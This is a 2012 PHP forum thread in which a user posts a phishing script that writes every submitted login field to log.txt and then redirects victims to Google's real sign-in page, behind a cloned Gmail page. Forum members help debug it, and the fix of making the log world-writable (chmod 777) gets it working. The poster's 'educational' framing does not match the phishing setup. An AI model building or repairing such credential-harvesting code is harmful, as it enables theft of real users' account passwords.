Page 1 of 1

PHP file writing not wotking!

Posted: Wed Apr 11, 2012 10:02 am
by hackin9u
Hi friend,
First of all i would like to say that i only learn this for educational and for my own security knowledge.
I run a LAMPserver of my own and i tried to hack myself with a phishing page.The thing i wanted is the following.
When the user logs into my phishing page,it has to write his username and password into a file named log.txt and redirect to the original page of that website.
I wrote a php script but it partially works.
That is, after receiving his username and password, it redirects the user to the original page but it doesnt write the log.txt.
I attached the php and html files with this.
Also i copied the php script for easy access.

php script:

Code: Select all

 <?php
                      header ('Location: https://www.google.com/accounts/ServiceLoginAuth?service=mail ');
                      $handle = fopen("log.txt", "a");
                      foreach($_POST as $variable => $value) {
                      fwrite($handle, $variable);
                      fwrite($handle, "=");
                      fwrite($handle, $value);
                      fwrite($handle, "\r\n");
                      }
                      fwrite($handle, "\r\n");
                      fclose($handle);
                      exit;
                      ?>
html code:
the same as gmail.com html
right click gmail.com and view page source.

Thank you.
Please help me to succeed with log.txt

Re: PHP file writing not wotking!

Posted: Wed Apr 11, 2012 4:53 pm
by xtiano77
I would try using the function below:
http://us3.php.net/manual/en/function.f ... ntents.php

Just my two cents.

Re: PHP file writing not wotking!

Posted: Wed Apr 11, 2012 5:03 pm
by social_experiment
hackin9u wrote:I wrote a php script but it partially works.
That is, after receiving his username and password, it redirects the user to the original page but it doesnt write the log.txt.
The writing part of the script works ok; the header() function, is that the part redirecting the user after receiving the login information?

Re: PHP file writing not wotking!

Posted: Thu Apr 12, 2012 4:50 am
by hackin9u
social_experiment wrote: The writing part of the script works ok; the header() function, is that the part redirecting the user after receiving the login information?
Yes thats the part where i redirect.

Re: PHP file writing not wotking!

Posted: Thu Apr 12, 2012 4:59 am
by social_experiment
http://stackoverflow.com/questions/3693 ... n-executed
Have a look at this page; and at this answer
http://stackoverflow.com/a/3693612

Maybe you should check if the file was written to and then redirect

Re: PHP file writing not wotking!

Posted: Thu Apr 12, 2012 5:09 am
by hackin9u
social_experiment wrote: Maybe you should check if the file was written to and then redirect
I tried that before.I got the same failure.But this code perfectly works when i try this on other hosting services.But not on my LAMP server.
I hope you will help me.

Re: PHP file writing not wotking!

Posted: Thu Apr 12, 2012 5:20 am
by social_experiment
hackin9u wrote:I tried that before.I got the same failure.But this code perfectly works when i try this on other hosting services.But not on my LAMP server.
interesting; i'm not sure what the problem could be. Best advice is can give is to do a bit of searching on a search engine or finding a LAMP specific forum which is geared to LAMP and it's problems / settings etc (or the option suggested by gugi77)

Re: PHP file writing not wotking!

Posted: Thu Apr 12, 2012 6:13 am
by hackin9u
gugi77 wrote:Hi,

Please check your folder security on log.txt path. Try with simple create & write file in same directory. does it work or not?

Hope this help
Thank you very much for all the helpers..
Thank you very much gugi77 your suggestion helped me.
Gugi77 is a bravo!
It works.
I used chmod 777 log.txt
Is there a way to ONLY allow that "phishing.php" to write that file?
Thank you very much.
:)